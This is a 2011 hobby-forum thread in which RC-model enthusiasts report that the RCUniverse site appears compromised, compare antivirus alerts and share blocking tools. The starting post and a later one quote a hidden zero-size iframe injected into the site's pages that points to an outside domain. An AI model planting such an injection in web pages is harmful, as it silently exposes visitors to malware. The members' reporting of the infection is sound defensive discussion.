Notices
Gas Engines Questions or comments about gas engines can be posted here

RCU Virus Infected

Old 03-01-2011, 11:48 AM
  #1  
apalsson
Thread Starter
My Feedback: (1)
 
apalsson's Avatar
 
Join Date: Jun 2003
Location: Coffs Harbour NSW, AUSTRALIA
Posts: 2,306
Likes: 0
Received 0 Likes on 0 Posts
Default RCU Virus Infected

I have been complaining about the same in the Clubhouse forum but nobody seems to care - there was one nonsense response but that was it and my virus checker keeps throwing up alerts

The site seems to have been compromised at root level with a script that keeps inserting links to malware sites into the web pages but nobody seems to care or do anything about it
Am I the only one getting those alerts?

RCU Admins seem to just go in and remove the links but don't do anything about the underlying script that re-inserts it
This is the latest link:
<iframe src=http://www.gds.or.kr/service/etc/index.html width=0 height=0></iframe>

Old 03-01-2011, 12:00 PM
  #2  
gkamysz
Senior Member
My Feedback: (19)
 
gkamysz's Avatar
 
Join Date: Jun 2003
Location: Crystal Lake, IL
Posts: 3,397
Likes: 0
Received 0 Likes on 0 Posts
Default RE: RCU Virus Infected

You can get in to RCU? It's down half the time when I look.
Old 03-01-2011, 12:17 PM
  #3  
w8ye
My Feedback: (16)
 
w8ye's Avatar
 
Join Date: Dec 2001
Location: Shelby, OH
Posts: 37,567
Likes: 0
Received 4 Likes on 4 Posts
Default RE: RCU Virus Infected

I must be doing something right?

RCU has not been down at all for me and I have not seen a virus. Yet I've heard from many sources that there is a problem.

I don't use Windows or Explorer

But I did report this thread to the higher ups.

Jim
Old 03-01-2011, 12:41 PM
  #4  
Clay Walters
Senior Member
 
Join Date: Jan 2008
Posts: 608
Likes: 0
Received 0 Likes on 0 Posts
Default RE: RCU Virus Infected

Must admit I do get annoyed when I attempt to search a thread, attempt to go to last post, or post a reply and it just sits there clocking but nothing happening. Usually just close out and come back in...nevermind the time I took posting the reply lost in lala land.

Doesn't happen every time but I wonder if these bugs are to blame?

Clay
Old 03-01-2011, 01:22 PM
  #5  
apalsson
Thread Starter
My Feedback: (1)
 
apalsson's Avatar
 
Join Date: Jun 2003
Location: Coffs Harbour NSW, AUSTRALIA
Posts: 2,306
Likes: 0
Received 0 Likes on 0 Posts
Default RE: RCU Virus Infected


ORIGINAL: w8ye
But I did report this thread to the higher ups.

Jim
Thanks Jim, hopefully, you have the ear of the powers to be better than an average member.
At least, the Admins seem to have removed the link now. I wonder how soon the script will re-insert its code.
I for one am going to sit on my membership renewal till I regain some confidence
Old 03-01-2011, 01:47 PM
  #6  
captinjohn
 
Join Date: Jan 2002
Location: Hesperia Michigan, MI
Posts: 12,945
Likes: 0
Received 3 Likes on 3 Posts
Default RE: RCU Virus Infected

Like Zippy says......"It dosen,t look good" !
Old 03-01-2011, 01:58 PM
  #7  
apalsson
Thread Starter
My Feedback: (1)
 
apalsson's Avatar
 
Join Date: Jun 2003
Location: Coffs Harbour NSW, AUSTRALIA
Posts: 2,306
Likes: 0
Received 0 Likes on 0 Posts
Default RE: RCU Virus Infected


ORIGINAL: apalsson


ORIGINAL: w8ye
But I did report this thread to the higher ups.

Jim
I for one am going to sit on my membership renewal till I regain some confidence
Umm well ... didn't last long. (was going to insert a "thumbs down here but that doesn't work either ) ** THUMBS DOWN **
Now the malware link is back
Look like high time to start looking for another forum

<iframe src=http://www.gds.or.kr/service/etc/index.html width=0 height=0></iframe>
Old 03-01-2011, 02:04 PM
  #8  
huck1199
Senior Member
 
huck1199's Avatar
 
Join Date: Jan 2007
Location: Lancaster, NY
Posts: 1,550
Likes: 0
Received 0 Likes on 0 Posts
Default RE: RCU Virus Infected

I have not had a problem. What are people experiencing? Are they being redirected to some other site?
Old 03-01-2011, 02:44 PM
  #9  
pe reivers
Senior Member
 
Join Date: Jan 2002
Location: Arcen, , NETHERLANDS
Posts: 6,571
Likes: 0
Received 1 Like on 1 Post
Default RE: RCU Virus Infected



Hmm.



The "we are sorry" time-out is here again, even on very short answers.



Hit ctrlA and ctrlC, and it will work to get answers posted again.


ORIGINAL: huck1199

I have not had a problem. What are people experiencing? Are they being redirected to some other site?
Old 03-01-2011, 03:01 PM
  #10  
aussiesteve
Senior Member
 
aussiesteve's Avatar
 
Join Date: Oct 2005
Location: PerthWA, AUSTRALIA
Posts: 2,924
Likes: 0
Received 0 Likes on 0 Posts
Default RE: RCU Virus Infected

In internet Explorer, go to "Tools", then "Internet Options" then "Privacy" then "Advanced" and change your cookie handling settings to "prompt". You will see a good indication of how many attempts there are to set tracking cookies.


I did make a suggestion to the forum managers recently that they seriously reconsider the employment terms of whoever deals with their I.T. services. It seems that ever since the takeover, there have been an ever growing number of issues such as photo posting, time outs, viruses, general non availability etc.



Old 03-01-2011, 03:15 PM
  #11  
Eganwp
Senior Member
My Feedback: (1)
 
Eganwp's Avatar
 
Join Date: Jan 2008
Location: Calgary, AB, CANADA
Posts: 756
Likes: 0
Received 0 Likes on 0 Posts
Default RE: RCU Virus Infected

I had to quit viewing RCU for the past couple months since the "re-design". RCU is so buggy, slow, non-responsive and error ridden that half the time I couldn't even view threads, not to mention post on them... But I'm glad I'm not the only one. I keep reading about other members having the same issue. It happens on all 5 of my PC's (all Win 7, IE 7, 8, 9) all on different networks and several different ISP's. Wouldn't even work on my my BlackBerry to fill time like it used to.

Fun times, although it seems to be working better the last couple weeks.
Old 03-01-2011, 03:20 PM
  #12  
a1pcfixer
My Feedback: (7)
 
a1pcfixer's Avatar
 
Join Date: Aug 2004
Location: La Porte, IN
Posts: 2,505
Likes: 0
Received 0 Likes on 0 Posts
Default RE: RCU Virus Infected


ORIGINAL: apalsson

The site seems to have been compromised at root level with a script that keeps inserting links to malware sites into the web pages but nobody seems to care or do anything about it
Am I the only one getting those alerts?

This is the latest link:
<iframe src=http://www.gds.or.kr/service/etc/index.html width=0 height=0></iframe>
Might be something as simple as 'false positive' reactions of certain AV programs.
I'm having zero warnings.

Your one example simply refers to a "page not found" (404) error, albeit it seems to be Chinese,
it also references Microsoft's IIS service, that some web sites use. My Norton System Suite has
no problem with that site, although *I* can't read all of it.

Precisely & exactly what were you doing in order to get the warning(s) you got?
What AV program & version?
What OS?
What web browser? Version?
Old 03-01-2011, 03:57 PM
  #13  
apalsson
Thread Starter
My Feedback: (1)
 
apalsson's Avatar
 
Join Date: Jun 2003
Location: Coffs Harbour NSW, AUSTRALIA
Posts: 2,306
Likes: 0
Received 0 Likes on 0 Posts
Default RE: RCU Virus Infected

ORIGINAL: a1pcfixer
What AV program & version?
What OS?
What web browser? Version?
This is not browser specific ... start up INternet Explorer - when in RCU, click on "View" and then "Source"

When my Avast Anti-Virus doesn't complain, the top lines are like to be expected, but every set number of hours, the line I quoted is added avove the header.
My own business website got compromised the same way a few years back (I changed ISPs after that) where a script was installed with root level access and no matter how often the links were removed, they were re-written into the top of the code.

This is one of the oldest malware attack methods in the book

Personally - if there were no Anti-Virus warnings popping up, I'd be worried
Old 03-01-2011, 04:07 PM
  #14  
MetallicaJunkie
 
MetallicaJunkie's Avatar
 
Join Date: Sep 2006
Location: Donna, TX
Posts: 5,459
Received 0 Likes on 0 Posts
Default RE: RCU Virus Infected

i must admit RCU has been acting up lately, sometimes the pages load... sometimes they dont. thankfully there is another GIANT FLYING forum i also hang out on.
Old 03-01-2011, 04:08 PM
  #15  
apalsson
Thread Starter
My Feedback: (1)
 
apalsson's Avatar
 
Join Date: Jun 2003
Location: Coffs Harbour NSW, AUSTRALIA
Posts: 2,306
Likes: 0
Received 0 Likes on 0 Posts
Default RE: RCU Virus Infected


ORIGINAL: MetallicaJunkie

i must admit RCU has been acting up lately, sometimes the pages load... sometimes they dont. thankfully there is another GIANT FLYING forum i also hang out on.
More and more of us seem to be moving there
Shame about the attitude in many of the "elites" over there though
Old 03-01-2011, 04:27 PM
  #16  
w8ye
My Feedback: (16)
 
w8ye's Avatar
 
Join Date: Dec 2001
Location: Shelby, OH
Posts: 37,567
Likes: 0
Received 4 Likes on 4 Posts
Default RE: RCU Virus Infected

I run "NoScript"

Here are some scripts trying to load that I have blocked . . . .

51yes/com
cnzz.com
gds.or.kr
tuow.info

I don't see anything useful for me in any of these
Old 03-01-2011, 04:34 PM
  #17  
MetallicaJunkie
 
MetallicaJunkie's Avatar
 
Join Date: Sep 2006
Location: Donna, TX
Posts: 5,459
Received 0 Likes on 0 Posts
Default RE: RCU Virus Infected


ORIGINAL: w8ye

I run ''NoScript''

Here are some scripts trying to load that I have blocked . . . .

51yes/com
cnzz.com
gds.or.kr
tuow.info

I don't see anything useful for me in any of these
those scripts gather information as to what we are searching for and send us popups we might like, or certain ads that might appeal to us.
Old 03-01-2011, 04:39 PM
  #18  
w8ye
My Feedback: (16)
 
w8ye's Avatar
 
Join Date: Dec 2001
Location: Shelby, OH
Posts: 37,567
Likes: 0
Received 4 Likes on 4 Posts
Default RE: RCU Virus Infected

What Pop Ups? I've never seen a pop up on here. No advertising either.

I also have AD Block.
Old 03-01-2011, 04:43 PM
  #19  
a1pcfixer
My Feedback: (7)
 
a1pcfixer's Avatar
 
Join Date: Aug 2004
Location: La Porte, IN
Posts: 2,505
Likes: 0
Received 0 Likes on 0 Posts
Default RE: RCU Virus Infected


ORIGINAL: apalsson

ORIGINAL: a1pcfixer
What AV program & version?
What OS?
What web browser? Version?
This is not browser specific ... start up INternet Explorer - when in RCU, click on ''View'' and then ''Source''

Personally - if there were no Anti-Virus warnings popping up, I'd be worried
It does seem browser specific as Firefox 3.6.14 does not show such a line, but MSIExploder does show it.
Neither browser complains, nor NSS, and yet some users running Avast here do get an alert.

Is this the one linked to the pdf vulnerability?

Old 03-01-2011, 04:45 PM
  #20  
a1pcfixer
My Feedback: (7)
 
a1pcfixer's Avatar
 
Join Date: Aug 2004
Location: La Porte, IN
Posts: 2,505
Likes: 0
Received 0 Likes on 0 Posts
Default RE: RCU Virus Infected


ORIGINAL: w8ye

What Pop Ups? I've never seen a pop up on here. No advertising either.

I also have AD Block.
You also running NoScript?
That's a real good tool!
Old 03-01-2011, 04:56 PM
  #21  
w8ye
My Feedback: (16)
 
w8ye's Avatar
 
Join Date: Dec 2001
Location: Shelby, OH
Posts: 37,567
Likes: 0
Received 4 Likes on 4 Posts
Default RE: RCU Virus Infected

Yes, No Script
Old 03-01-2011, 05:07 PM
  #22  
Tired Old Man
Senior Member
My Feedback: (1)
 
Join Date: Feb 2002
Location: Valley Springs, CA
Posts: 18,602
Likes: 0
Received 0 Likes on 0 Posts
Default RE: RCU Virus Infected

I get the tracking cookie warning every time I log in to RCU. Last week this site was infected with a virus, which was discussed at great length on the TFC site. Still under discussion as a matter of fact.
Old 03-01-2011, 05:20 PM
  #23  
a1pcfixer
My Feedback: (7)
 
a1pcfixer's Avatar
 
Join Date: Aug 2004
Location: La Porte, IN
Posts: 2,505
Likes: 0
Received 0 Likes on 0 Posts
Default RE: RCU Virus Infected


ORIGINAL: w8ye

I run ''NoScript''

Here are some scripts trying to load that I have blocked . . . .

gds.or.kr
That's the source it appears.

IF those getting hit could use the alternate & more secure access to web sites, in particular here & now -RCU- it might help;

https://www.rcuniverse.com/
-instead of the usual-
http://www.rcuniverse.com

{notice the 's'}

Unable to use that with MSIExploder though.[&o]

With FireFox + NoScript + AdBlock, I'm not seeing any problems.
Old 03-01-2011, 05:34 PM
  #24  
apalsson
Thread Starter
My Feedback: (1)
 
apalsson's Avatar
 
Join Date: Jun 2003
Location: Coffs Harbour NSW, AUSTRALIA
Posts: 2,306
Likes: 0
Received 0 Likes on 0 Posts
Default RE: RCU Virus Infected


ORIGINAL: a1pcfixer


ORIGINAL: w8ye

I run ''NoScript''

Here are some scripts trying to load that I have blocked . . . .

gds.or.kr
That's the source it appears.

IF those getting hit could use the alternate & more secure access to web sites, in particular here & now -RCU- it might help;

https://www.rcuniverse.com/
-instead of the usual-
http://www.rcuniverse.com

{notice the 's'}

Unable to use that with MSIExploder though.[&o]

With FireFox + NoScript + AdBlock, I'm not seeing any problems.
Goes to prove there is a security problem
If you need all kinds of third party browsers and enhancements to suppress the popups, there is a SERIOUS problem with the site.

Just view the source of the page periodically

Look for the very top line

Here is what I see

Unacceptable!

Attached Thumbnails Click image for larger version

Name:	Om32153.jpg
Views:	11
Size:	51.0 KB
ID:	1571971  
Old 03-01-2011, 05:45 PM
  #25  
mc4798
Senior Member
My Feedback: (8)
 
mc4798's Avatar
 
Join Date: Aug 2009
Location: central, KY
Posts: 1,725
Likes: 0
Received 0 Likes on 0 Posts
Default RE: RCU Virus Infected



Agreed some serious issues with the site.

Today AVG went crazy, All linked back to RCU.


Thread Tools
Search this Thread

Contact Us - Archive - Advertising - Cookie Policy - Privacy Statement - Terms of Service - Do Not Sell My Personal Information -

Copyright 2018 MH Sub I, LLC dba Internet Brands. All rights reserved. Use of this site indicates your consent to the Terms of Use.